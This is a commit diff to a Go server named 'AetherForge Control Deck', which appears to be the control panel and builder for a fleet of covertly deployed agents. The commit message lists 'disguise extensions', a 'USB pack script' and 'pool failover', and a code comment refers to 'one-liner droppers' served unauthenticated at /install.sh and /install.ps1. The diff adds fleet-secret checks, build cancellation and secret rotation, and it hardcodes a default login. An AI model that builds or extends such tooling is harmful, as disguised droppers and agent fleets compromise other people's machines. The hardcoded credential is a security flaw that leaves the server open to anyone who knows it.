feat: 10-item hardening pass - disguise extensions, USB pack script, AI auth, pool failover, forge cancel, secret rotation, dead REST wired

This commit is contained in:
drjones
2026-05-30 11:44:01 -07:00
parent d073dcd7df
commit 77e1dbbb13
15 changed files with 628 additions and 12 deletions

View File

@@ -21,8 +21,31 @@ var (
authUsers = map[string]string{"drjones": "czapiewski"} // default until users.json loads
usersFilePath string
usersMu sync.RWMutex
// fleetSecretForAgentPaths holds the shared fleet secret used to authenticate
// agent-facing REST endpoints (/api/v1/agent/*). Set once from main.go via
// SetAgentPathSecret so basicAuthMiddleware can check X-Fleet-Secret headers.
fleetSecretForAgentPaths string
fleetSecretForAgentPathsMu sync.RWMutex
// rotateSecretFn is called when POST /server/rotate-secret is hit.
// Wired from main.go so the server can generate, persist, and propagate the new secret.
rotateSecretFn func() (string, error)
)
// SetAgentPathSecret stores the fleet secret so basicAuthMiddleware can verify
// X-Fleet-Secret headers on /api/v1/agent/* routes.
func SetAgentPathSecret(secret string) {
fleetSecretForAgentPathsMu.Lock()
fleetSecretForAgentPaths = secret
fleetSecretForAgentPathsMu.Unlock()
}
// SetRotateSecretFn registers the callback that handles POST /server/rotate-secret.
func SetRotateSecretFn(fn func() (string, error)) {
rotateSecretFn = fn
}
func loadUsers(dataDir string) {
usersFilePath = filepath.Join(dataDir, "users.json")
usersMu.Lock()
@@ -58,15 +81,34 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
}
path := r.URL.Path
// Agent-facing API + health + forged worker downloads + one-liner droppers stay open.
if strings.HasPrefix(path, "/api/v1/agent/") ||
path == "/api/v1/health" ||
// Health check and download endpoints are always open.
if path == "/api/v1/health" ||
path == "/get" || path == "/install.sh" || path == "/install.ps1" ||
(strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) {
next.ServeHTTP(w, r)
return
}
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
// legitimately forged agents can call these endpoints.
if strings.HasPrefix(path, "/api/v1/agent/") {
fleetSecretForAgentPathsMu.RLock()
secret := fleetSecretForAgentPaths
fleetSecretForAgentPathsMu.RUnlock()
if secret != "" {
provided := r.Header.Get("X-Fleet-Secret")
if subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) != 1 {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
}
// Secret is empty (first run before config save) or matched — allow through.
next.ServeHTTP(w, r)
return
}
user, pass, ok := r.BasicAuth()
if !ok {
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
@@ -155,6 +197,14 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Builder
r.Post("/builder/build", builderHandler.ServeHTTP)
r.Post("/builder/estimate", builderHandler.ServeEstimate)
r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) {
token := chi.URLParam(req, "token")
if builderHandler.CancelBuild(token) {
writeJSON(w, map[string]interface{}{"cancelled": true})
} else {
http.Error(w, "build not found or already completed", http.StatusNotFound)
}
})
// Blueprints (config presets)
r.Get("/blueprints", blueprintHandler.ServeHTTP)
@@ -162,6 +212,21 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
// Fleet secret rotation — generates a new secret, saves config, kicks all agents.
// Forged agents with the old secret will be rejected until re-forged.
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
if rotateSecretFn == nil {
http.Error(w, "rotation not configured", http.StatusServiceUnavailable)
return
}
newSecret, err := rotateSecretFn()
if err != nil {
http.Error(w, "rotation failed: "+err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{"ok": true, "hint": newSecret[:8] + "..."})
})
// User Management
r.Post("/users", func(w http.ResponseWriter, req *http.Request) {
var payload struct {